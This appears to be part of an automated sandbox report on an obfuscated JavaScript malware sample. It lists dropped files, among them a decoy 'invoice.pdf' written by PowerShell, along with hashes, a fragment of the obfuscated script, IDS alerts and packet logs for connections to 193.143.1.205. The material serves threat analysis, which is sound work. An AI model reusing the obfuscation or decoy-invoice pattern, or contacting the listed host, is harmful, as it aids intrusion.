Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1fce9578-66a1-4a6a-9c90-17e9d07f8876.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a85c5c46-4380-4da0-bd4d-7eef1eaab201.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b957d3da-13bd-4a4c-8266-a204f9a16ff6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e1d6252f-f756-4749-8f5d-1e2619da8d8d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18807), with CRLF line terminators
Entropy (8bit):	4.898913879120409
TrID:
File name:	1358019715229232264.js
File size:	22'355 bytes
MD5:	453a5754dca8e69825311e0d7a7bb0fa
SHA1:	b466236d7678e140b82f365619a09f445208c9d2
SHA256:	dfcd71a93381b5e48f7a80154195220a79ed0e983b8851d47bf55408420c7f91
SHA512:	3cff5c5b33944c9dc63a820ecb76f280a6b766eaa0b4f68e3bc988a56f39d991f3e73598086aa580af89f9b6235d544cc7f521eb0286acb0a1929615ad3e183d
SSDEEP:	384:ahYT51GNA3vw5bX8RP7DU7945JUPzUfROyafJJUtpjnr:pGNigbsRP7DUW5JUQRRafJWtpjnr
TLSH:	73A25479E2D3C76A86F008A549DE10A013EE0CAF9ACE827944D76CD50B10FD776F5939
File Content Preview:	function cjalnv(){rzyisai=[1031,3079,5127,4103,2055,3072];var tnvmcd=this[mnjkwhihh+upebpg+ygyrwmf+uwkirrz+dslsejwd+dfxviebx+hmpgc+cosdznkxg](this[flompc+dhedv+mhozt+ygyrwmf+wzcvmgayh+mnjkwhihh+cosdznkxg][tcmhpckoc+ygyrwmf+dslsejwd+upebpg+cosdznkxg+dslsej

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:24:08.929425+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49732	193.143.1.205	80	TCP
2025-01-10T20:24:11.068839+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49746	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:24:08.141736031 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.146739006 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.146830082 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.150352001 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.155169010 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.929327965 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.929352999 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.929373026 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.929425001 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.934500933 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934516907 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934530020 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934540987 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934552908 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.934554100 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934567928 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934577942 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.934581995 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934596062 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.934617996 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.934638977 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.972142935 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.972161055 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.972172976 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:08.972202063 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:08.972220898 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.056394100 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056413889 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056427002 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056502104 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056508064 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.056518078 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056557894 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.056559086 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056602955 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.056920052 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056931973 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056942940 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.056973934 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.057346106 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057358980 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057369947 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057382107 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057410002 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.057583094 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.057940960 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057952881 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057964087 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057976961 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.057990074 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.058058023 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.058824062 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.058835030 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.058846951 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.058892965 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.059448957 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.059529066 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.097871065 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.097883940 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.097896099 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.098021030 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.098036051 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.098047972 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.098104954 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.143809080 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.143822908 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.143968105 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.181617975 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181667089 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181684017 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181690931 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181772947 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.181835890 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181847095 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.181931019 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.181998968 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182012081 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182022095 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182065964 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.182369947 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182382107 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182394028 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182419062 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.182446003 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.182671070 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182682991 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182694912 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182706118 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182718039 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182729006 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182739973 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.182744026 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.182786942 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.183449030 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183459997 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183471918 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183492899 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.183501005 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183512926 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183525085 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183531046 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.183540106 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.183573961 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.183592081 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.184403896 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184415102 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184427023 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184444904 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184457064 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184467077 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.184467077 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184483051 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.184511900 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.184547901 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.185275078 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185286999 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185297012 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185308933 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185322046 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185347080 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.185374022 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.185827017 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185851097 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185903072 CET	49732	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:24:09.185971975 CET	80	49732	193.143.1.205	192.168.2.7
Jan 10, 2025 20:24:09.185996056 CET	80	49732	193.143.1.205	192.168.2.7
